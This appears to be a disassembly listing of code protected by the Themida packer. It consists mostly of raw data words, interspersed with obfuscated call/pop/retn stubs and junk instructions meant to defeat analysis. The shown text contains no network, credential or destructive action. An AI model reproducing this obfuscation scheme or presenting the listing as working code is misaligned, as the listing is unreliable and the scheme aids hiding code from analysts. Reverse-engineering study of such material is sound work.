dd 0BA83C357h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 76C35747h, 0F92AA598h, 0E8C1C38Bh, 52006A04h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0E063341Bh, 8E975h, 69DF0000h, 4214F187h, 0F766D595h
dd 51006AE2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 1DBD8B5Ah, 6606120Bh, 0D82BF18Bh, 0A42FBE66h
dd 7E893h, 5C3E0000h, 0E22D6985h, 0F525076h, 0C3BE6631h
dd 5E585A10h, 800F50h, 93000000h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 9FC35646h, 0AED16D4Fh, 0BF669B9Eh
dd 0B5FF832Fh, 61207E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0EBC35646h, 90852DCAh, 8BB8F806h, 121471B5h
dd 0D195FF06h, 0F9061229h, 6A00B0h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF6676C3h
dd 70E61AE4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0B6C35545h, 8CA6BA44h, 71E4463Eh, 830F613Ch, 28Ah
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 4BC35141h
dd 0A8904721h, 4201F8F5h, 6AD8B60Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C1C6C356h
dd 0EE989FAh, 3D000000h, 0CCC16018h, 0B2BA78CAh, 0C2A5C05Fh
dd 6BA8Ah, 8BF80000h, 0CE9C3h, 75D60000h, 0C59AAE95h, 43C04D20h
dd 0E8C16F00h, 8DB58B04h, 66061226h, 9529E2F7h, 6121281h
dd 7E9D82Bh, 9C000000h, 28F70DF0h, 0BF58D4C0h, 59732EACh
dd 880FD82Bh, 1EAh, 6E9h, 95E40900h, 8937C447h, 1215999Dh
dd 7B906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 691097C3h, 6A00C183h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 31E0C356h, 0BD8BF5C5h, 61213C9h, 3BFA8B66h, 83860FD9h
dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 0B653C355h, 66EA1E8Dh, 6AD98Ch
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0A0B295C3h, 4C4677C2h, 0E9A788B7h, 0Ch, 0C18A4C4Bh
dd 5D859856h, 0C1E0AF59h, 0F04C1F6h, 0FC84h, 0F19D8900h
dd 0FF061208h, 120CA995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 37EF1784h
dd 2CFC3964h, 0FDBD8BB1h, 29061207h, 1200498Dh, 6A5B06h
dd 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0CE5A09C3h, 8D89601Dh
dd 61229B5h, 1E3D8D03h, 0F5610612h, 6AC32Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 810F7FC3h
dd 0
; ---------------------------------------------------------------------------
mov esi, [ebp+612043Dh]
cmp eax, 834h
jbe loc_5BCC69
push 0
push ecx
call sub_5BCC18
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCC18 proc near ; CODE XREF: Themida_:005BCC10p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BCC18 endp
; ---------------------------------------------------------------------------
xor [ebx-4Ch], edi
rcr byte ptr [ebp+30h], cl
sub ebx, [edx]
and [ebx], ecx
mov ch, 31h
adc dl, [edx]
push es
jmp loc_5BCC50
; ---------------------------------------------------------------------------
retn 0D53Ch
; ---------------------------------------------------------------------------
db 8
dd 87F21A02h, 9690F530h, 3C593800h, 38E303Ah
; ---------------------------------------------------------------------------
loc_5BCC50: ; CODE XREF: Themida_:005BCC37j
jmp loc_5BCC8E
; ---------------------------------------------------------------------------
push esi
jmp loc_5BCC68
; ---------------------------------------------------------------------------
fisub dword ptr [esi-3Bh]
db 64h
xchg eax, edi
sbb al, 4
and [edx+212B184h], ecx
loc_5BCC68: ; CODE XREF: Themida_:005BCC56j
pop edi
loc_5BCC69: ; CODE XREF: Themida_:005BCC07j
mov eax, eax
push 0
push eax
call sub_5BCC76
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCC76 proc near ; CODE XREF: Themida_:005BCC6Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BCC76 endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 75h
dd 0BE464968h
db 0AFh, 7Fh
; ---------------------------------------------------------------------------
loc_5BCC8E: ; CODE XREF: Themida_:loc_5BCC50j
mov eax, ebx
mov ebx, eax
push 0
push ecx
call sub_5BCC9D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCC9D proc near ; CODE XREF: Themida_:005BCC95p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5BCC9D endp
; ---------------------------------------------------------------------------
dec edi
db 36h
xchg eax, edx
jo short loc_5BCCE3
jnz short loc_5BCCCA
mov dword ptr [ebp+6122D69h], 162E27F5h
push 0
push eax
call sub_5BCCC9
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCCC9 proc near ; CODE XREF: Themida_:005BCCC1p
arg_4 = dword ptr 8
pop eax
loc_5BCCCA: ; CODE XREF: Themida_:005BCCB2j
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5BCCC9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5Ch, 0Fh, 89h
dd 6
db 81h, 0F6h, 27h
; ---------------------------------------------------------------------------
loc_5BCCE3: ; CODE XREF: Themida_:005BCCB0j
test [edx+4Fh], ch
mov esi, [ebp+61234A1h]
mov eax, eax
cmc
cmp dword ptr [ebp+61207E5h], 7D0h
jnz loc_5BCD42
mov di, 6EF4h
inc dword ptr [ebp+61207E5h]
push 0
push eax
call sub_5BCD14
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCD14 proc near ; CODE XREF: Themida_:005BCD0Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5BCD14 endp
; ---------------------------------------------------------------------------
dd 3E0FA26Dh, 0BE8E7h, 6AA20000h, 26198D93h, 0E1FFA733h
dd 0CDBD0966h, 5E061211h
; ---------------------------------------------------------------------------
mov edi, esi
loc_5BCD42: ; CODE XREF: Themida_:005BCCF9j
push dword ptr [ebp+61207E5h]
push 0
push ebx
call sub_5BCD53
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCD53 proc near ; CODE XREF: Themida_:005BCD4Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5BCD53 endp
; ---------------------------------------------------------------------------
das
dec ebx
mov ah, 0E2h
aaa
adc dword ptr [ecx+48h], 0FFF80B19h
xchg eax, ebp
shr dword ptr [ecx], 1
adc al, [esi]
push 0
push eax
call sub_5BCD7F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCD7F proc near ; CODE XREF: Themida_:005BCD77p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5BCD7F endp
; ---------------------------------------------------------------------------
db 78h
dd 526206DAh, 0A7BF8EFDh, 9028F779h, 20018D89h, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 369DA8C3h, 0FA8B9950h, 0C643BE66h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0B5C35141h, 0BA4E2E8Eh, 2FBE8D28h
dd 100794Eh, 121D6195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0B58B527Fh, 6122C05h
dd 0F065BE66h, 0DE9F18Bh, 87000000h, 0A7FF3D96h, 220DFDCBh
dd 78B58020h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 88C35343h, 0D0783BDh, 0E8AE7CB4h, 9, 5E0FC248h
dd 0BBFF2193h, 0A8F0F13h, 8B000000h, 122565BDh, 0B9BF6606h
dd 7E943h, 0AD60000h, 0FAE0A264h, 0BE575FA2h, 7FCA68D3h
dd 815FFA8Bh, 93D1EDEEh, 55006A2Ah, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0A2EB8B9Ch, 79BD2353h
dd 5E061203h, 0FE68060h, 68F0Fh, 9D890000h, 61233F1h, 9DB58960h
dd 6606121Fh, 5789EB81h, 61615857h, 0FFF7AFE9h, 56006AFFh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 33E4FF84h, 0BE9FDh, 31BD0000h, 0B7515698h, 662F2F7h
dd 6AC18B3Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0EA21C350h, 890FEFh, 0EB000000h
dd 4, 840F6000h, 6, 10698D8Bh, 6A610612h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 18A3C350h
dd 0BE9h, 61D95500h, 0AA76BF2Eh, 0E2A1CA07h, 65858Dh, 8B600612h
dd 122939BDh, 61C18B06h, 3FBE6690h, 9CBE5064h, 9070F513h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h
dd 1F534381h, 8B66D143h, 0F5F7BFF3h, 6A280Bh, 68C0Fh, 0B5010000h
dd 6121199h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0A4EEDEC3h, 0D18B6660h, 61CB8B66h
dd 15E9858Dh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0ADC123C3h, 0BD8BC0FCh, 6121225h
dd 0BF05C083h, 3BAA1155h, 50F08B90h, 58D0Fh, 35BE0000h
dd 9013E438h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 3EC35040h, 28A0F60h, 52000000h, 2585895Bh, 6106120Bh
dd 6AF28Bh, 6AFB8Bh, 0B5595FFh, 6A0612h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8D48C3h
dd 6159BCAh, 68C0Fh, 0BD8B0000h, 6122341h, 0AE9D3FFh, 0E7000000h
dd 0B6837656h, 3E590AFDh, 3585FF89h, 51061212h, 6800Fh
dd 0B58B0000h, 612239Dh, 9D85315Fh, 0E9061232h, 7A1h, 0E8h
dd 0ED815D00h, 61615F3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0B6C35242h, 0E05C2BF2h, 0A6DBD8F4h, 7E5BD81h
dd 7D00612h, 860F0000h, 0E5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0DC35141h, 0A72F4D29h, 5F500A3Bh
dd 2E498D89h, 9D8B0612h, 61214F5h, 3858501h, 0E3810612h
dd 100h, 23D1BD8Bh, 0DB0B0612h, 56850Fh, 0BD830000h, 6161457h
dd 11840F00h, 89000000h, 1222F18Dh, 4EE906h, 85890000h
dd 61220D9h, 145785C7h, 10616h, 0BF0F0000h, 36E9F3h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0CB4BE4C3h, 66D3DE31h, 5FE7D781h, 145785C7h, 616h, 0BD8B0000h
dd 6120095h, 14F59D8Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 9CE115C3h, 0C5BD8B59h
dd 8106121Fh, 0FFFEFF23h, 2ABF66FFh, 0DB8C66C0h, 1EDDB58Bh
dd 0C3F60612h, 5A840F04h, 0FF000000h, 120CA995h, 0C880F06h
dd 0F000000h, 683h, 860F00h, 50000000h, 0DE9h, 54CCCB00h
dd 0A1049C96h, 0C710D554h, 4892647h, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 1BF32575h
dd 29BD8BE5h, 81061218h, 0A427C8C6h, 42EE947h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 609708C3h, 0FCDE1096h, 840F1F6Bh, 0Bh, 800F60h, 66000000h
dd 0B061F38Bh, 6A70E600h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0D042C355h, 8589F064h
dd 61207BDh, 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0D79534C3h, 0EE98Ch, 64360000h
dd 0DAB8F90Eh, 9AF38C6h, 0D17887EAh, 0E9D8B60Fh, 0Fh, 0ADD61F80h
dd 9146B24Bh, 4B0DFCA8h, 0BA176C52h, 6, 4DBD8B51h, 5E06121Bh
dd 0E8C1C38Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0F7664968h, 96C781E2h
dd 2B38FDD1h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 69B607E6h, 50B87838h, 12E9h, 73924B00h
dd 2E260AC8h, 6ED4B76h, 0EC2EFC73h, 8936129Dh, 0E681241Ch
dd 517654A8h, 7E5B5FFh, 860F0612h, 5, 18B3CBBFh, 0D195FF43h
dd 6A061229h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0AD6EC356h, 0BB7B7E93h, 0AECAF2AFh
dd 0F2B70F50h, 6A00B05Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 46AFC352h, 6AB16C34h
dd 4E294C00h, 2BD68166h, 0B58B6042h, 61203C1h, 6E9h, 0E8B7AC00h
dd 61A2FE4Ah, 9D8970E6h, 61225E1h, 6A71E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 737084C3h
dd 3996ABA6h, 59B5292Eh, 0F06122Dh, 0C87h, 6820F00h, 0F000000h
dd 89h, 0F613C00h, 23B83h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0CE99729h
dd 0F5000000h, 0EDC9EEBDh, 88A98F8Ch, 0F9C3179h, 6AD8B6h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0A0F0D9C3h, 2348AB90h, 0BD890DFFh, 6121EF5h, 6BAh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 7DF66AD7h, 0D07D9EB8h, 23418D31h, 0C38B0612h, 8904E8C1h
dd 121FC595h, 0E2F76606h, 75858957h, 5F06122Dh, 9D29D82Bh
dd 61227C5h, 1FA9BD2Bh, 0BE580612h, 1600B6C1h, 880FD82Bh
dd 180h, 0D0A5CF81h, 7B93FB5h, 0E8000000h, 7, 7AB77EB7h
dd 0FC01BF0h, 0D89h, 8E900h, 54A90000h, 3A114A9Dh, 835FC9B3h
dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 9464A4C3h, 17830F41h, 0E8000000h, 0Fh, 3EF7736Fh
dd 2529D59Fh, 55AC9FFFh, 60E280F7h, 0D93B5F61h, 10E860Fh
dd 0BD290000h, 61227E5h, 8BD98C66h, 121DF9BDh, 4C1F606h
dd 0D2840Fh, 81660000h, 0FF3071CEh, 120CA995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 3BB9AA08h, 0FB78C1D4h, 9BD2350h, 5E06122Bh, 99B5015Bh
dd 8B061212h, 121725B5h, 6AC32B06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0E4B5C353h
dd 5F116971h, 8343DE9h, 860F0000h, 60h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EFC35242h, 781EABEEh
dd 9E9C7AEh, 49000000h, 0D5ECA69Ah, 811F61F8h, 4FE9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0A839F8BDh, 0BE669CD4h, 0B58B1FA6h, 6122BD9h, 6AC08Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 9D893EC3h, 612146Dh, 0D88BC38Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 97C35545h, 0DBCF5F87h, 8B5E5B1Fh
dd 1220D1BDh, 1985C706h, 7F06121Eh, 667EBDFBh, 1E03D681h
dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0A03FE6C3h, 994A9509h, 17359D09h, 0BD810612h
dd 61207E5h, 7D0h, 43850Fh, 95890000h, 61208BDh, 7E585FFh
dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0AB8536C3h, 0B58BFBEFh, 6122319h, 58D0Fh
dd 38BF0000h, 29507726h, 1207BDB5h, 0E5B5FF06h, 0F9061207h
dd 29D195FFh, 2BBE0612h, 90428A26h, 9E8h, 41841A00h, 0BA479BFFh
dd 8B6691C7h, 9E9F7h, 0ABAE0000h, 4159175Eh, 5E4F09FAh
dd 38F0F60h, 0B3000000h, 0B58BF824h, 6122D6Dh, 24698D23h
dd 66610612h, 9C75D681h, 263D8D89h, 0BD8B0612h, 61202B5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F6C35242h
dd 8BFA8B66h, 1224C9B5h, 359D8906h, 89061224h, 12285995h
dd 69853106h, 60061213h, 0BBDC8A52h, 39F48BFFh, 0B3D7815Eh
dd 0B72E736Bh, 6E9616Fh, 83000000h, 0AE5A08Bh, 55006A51h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 7A594E5Fh, 6AC22402h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0BEDFC350h, 0A7B98E06h
dd 14E86055h, 2F000000h, 99B2A489h, 0C9D7486Fh, 37484FD4h
dd 231C84C7h, 53446B73h, 0B70F5E5Ah, 0F88B66F7h, 0F866E961h
dd 29F9FFFFh, 1229418Dh, 89C18B06h, 12156195h, 4EB06h
dd 66000000h, 8B0BEBBFh, 120B79B5h, 65858D06h, 66061200h
dd 0BF50F08Bh, 4E3873B1h, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6E7AC355h
dd 0A396059Ah, 66535EA3h, 6A5FF38Bh, 99958900h, 6A061221h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 1FB37044h, 6DB58BE3h, 8D06121Bh, 161F1185h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0C08306B3h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C7C7902Ch
dd 8D294814h, 612328Dh, 0F78B6650h, 6A240489h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0F884C351h, 76F38A16h, 0C2231D46h, 197DB58Bh, 81660612h
dd 6A65D1F6h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 0BF660369h, 6AC13Bh, 735B58Bh, 95FF0612h
dd 6120B55h, 0DC5C681h, 9D8D3C12h, 6159BCAh, 8BFABF0Fh
dd 122395B5h, 6AD3FF06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 1892C356h, 2297FACFh
dd 667D5512h, 0D1A4C781h, 123585FFh, 7BE0612h, 0E97B7A06h
dd 7F8h, 0E8h, 0ED815D00h, 6161F1Bh, 0E5BD81F5h, 0D0061207h
dd 0F000007h, 12986h, 0DD9D8B00h, 81061213h, 100E3h, 0FDB0B00h
dd 0AB85h, 3DB58B00h, 83061217h, 161D99BDh, 840F0006h
dd 57h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
dd 5EC35747h, 0A5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0B917BEFEh, 0E899F6AEh
dd 8, 0CC78DC19h, 0AF5FA7D3h, 16DD8589h, 0C75F0612h, 161D9985h
dd 106h, 78C78100h, 661747B9h, 57E9FA8Bh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0B4D8C357h, 0C1D73059h, 9589E219h, 6120EF5h, 1D9985C7h
dd 616h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0A20487C3h, 9482BC40h, 9D8D3F17h
dd 61213DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0DDC35343h, 0F8E51ECEh, 0F7BF0F91h, 2A3DB589h
dd 23810612h, 0FFFFFEFFh, 25A9B58Bh, 8C660612h, 56006ADBh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0F6082C05h, 840F04C3h, 5Fh, 2D5CBE53h, 0BE5F78D9h, 5629CF22h
dd 0CA995FFh, 0BD2B0612h, 6121531h, 0FE8B5090h, 55006A90h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 3374D2D5h, 4B64B98Dh, 0ECC8BF4Bh, 6E808B2h, 4A000000h
dd 688C385Dh, 8E9F6h, 0D8F10000h, 0F504B02Eh, 0E95F363Ch
dd 3F2h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 46E715C3h, 0F1BD29BCh, 0E6061214h
dd 25B52370h, 0E406120Bh, 0D8B60F71h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 88C35646h, 3544F7C9h, 600CFAC2h
dd 6BAF5h, 8BF90000h, 31B58BC3h, 29061215h, 1216EDBDh
dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0EEC35242h, 0C0843B09h, 8B07D810h, 0E2F766F1h
dd 26B91CBEh, 6AD82B33h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 8F69C350h, 0E6F6A5ACh
dd 5306CD9Fh, 692BBF66h, 2880F50h, 8B000000h, 241C89FBh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A9C35141h
dd 83AE4A8h, 31BD8B01h, 0FF06120Fh, 1207E5B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 280B7AC8h, 0FFE8B66h, 683h, 0D99D2900h, 0FF061221h
dd 1229D195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0A25EBC9Ch, 8BBB5662h, 12164DB5h
dd 6A00B006h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0C2E7C357h, 938E40C4h, 8AA06A51h
dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 5B968DC3h, 56DFFA47h, 0F18B739Eh, 0E905B060h
dd 10h, 379AB084h, 3BA480A9h, 594BA251h, 3EBAEC1Dh, 8171E461h
dd 0D777B2EFh
dd 0F613C5Fh, 21D83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 1D424CA3h, 7961CAC7h
dd 13E9BD68h, 95000000h, 0D1719CB9h, 0CB16CBCAh, 0A6F98412h
dd 0DB640941h, 0B60F4AD2h, 56006AD8h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 855732F8h
dd 998D29B2h, 89061221h, 1228D98Dh, 6BA06h, 0B5290000h
dd 6121E99h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8B78B3C3h, 4E8C1F9h, 86BAEE81h
dd 0F76625A4h, 9B58BE2h, 2B061232h, 51006AD8h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0B41ECF5Ch
dd 952960F7h, 61223E9h, 890F53h, 5F000000h, 85895861h
dd 6122131h, 880FD82Bh, 132h, 33F5BD31h, 0CE90612h, 0E2000000h
dd 0E0A9D7A8h, 2781B57Bh, 0B93EBBBCh, 7, 1CC59529h, 0C1830612h
dd 0C9B58900h, 3B06122Dh, 0FF860FD9h, 66000000h, 0CE9D98Ch
dd 27000000h, 5B589D82h, 12DFD671h, 0F6A6B170h, 840F04C1h
dd 0AEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0C7C35343h, 18475945h, 10E9B16Ah, 39000000h, 0E6A9E549h
dd 0C968F598h, 0F2F51A17h, 0FFC0BFE8h, 120CA995h, 0F7816606h
dd 6A5BC0C8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0C77BC352h, 0BF8D0408h, 3E90AB03h
dd 12258D89h, 0C32B0612h, 1143CF81h, 343D6951h, 0F000008h
dd 2D86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 8BAE858Bh, 12179DB5h, 38E906h, 0BE660000h
dd 0C08B5A59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 48C35747h, 0E777B9BEh, 8BEAA558h, 6860F51h, 9000000h
dd 12004995h, 0C38B5E06h, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 63A8FEC3h, 370EFAB4h
dd 14F585C7h, 0EF3D0612h, 6A5B27h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 9E988C3h, 7E000000h
dd 0AE007C86h, 0CE15AC5Fh, 2169B529h, 0C08B0612h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F9C35040h, 8BB9BCEDh
dd 121E85BDh, 0E5BD8106h, 0D0061207h, 0F000007h, 685h
dd 0E585FF00h, 0FF061207h, 1207E5B5h, 11E806h, 0D3C90000h
dd 55AD9032h, 0B316436Eh, 0D0494A65h, 89067AE5h, 12266185h
dd 95FF5E06h, 61229D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 14C35545h, 0F31BD8Bh, 6A900612h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0F06BC352h, 49A834A2h, 810FC586h, 8, 170AF781h, 5E522B6Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AEC35747h
dd 6AB45DAEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 8AF1C352h, 7F76BAF4h, 6ACF29h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 780F8CC3h, 0E9F55D09h, 11h, 4A1CDDAFh, 3C18D99Ah, 0D78930CBh
dd 413D1890h, 830F5276h, 5, 0B3ABA4BEh, 7DB5037Bh, 5E061212h
dd 885A7DBEh, 0CF81666Fh, 6A803Ch, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0EBCA71C3h, 0BE956C3h
dd 1E000000h, 755762FDh, 57718A5Ch, 6A5F4FFAh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0D288C356h, 0D69A19C9h, 12E681B2h, 0E90152E0h, 0FFFFF82Ch
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F4C35545h
dd 0B4DE8152h, 5F205D30h, 8B666060h, 0B961FCD1h, 0FFFFFFFEh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h
dd 0AC087F8Fh, 358589h, 95890612h, 6121A71h, 6DBE6650h
dd 8D215858h, 61230DDh, 29D9BD89h, 8D210612h, 6122349h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F0C35343h
dd 5DD816C6h, 5BD33CEh, 8B061222h, 1230DD8Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0B140837h, 340A06B2h, 83FEBF0Fh, 850F01E1h, 2, 8D8BDE8Bh
dd 6122349h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0B9C35343h, 46431E84h, 0CE800h, 7F5F0000h, 0D099CD58h
dd 0CDCDC4D5h, 9D0B2E3Ch, 61207F1h, 83D98B5Fh, 850F01E1h
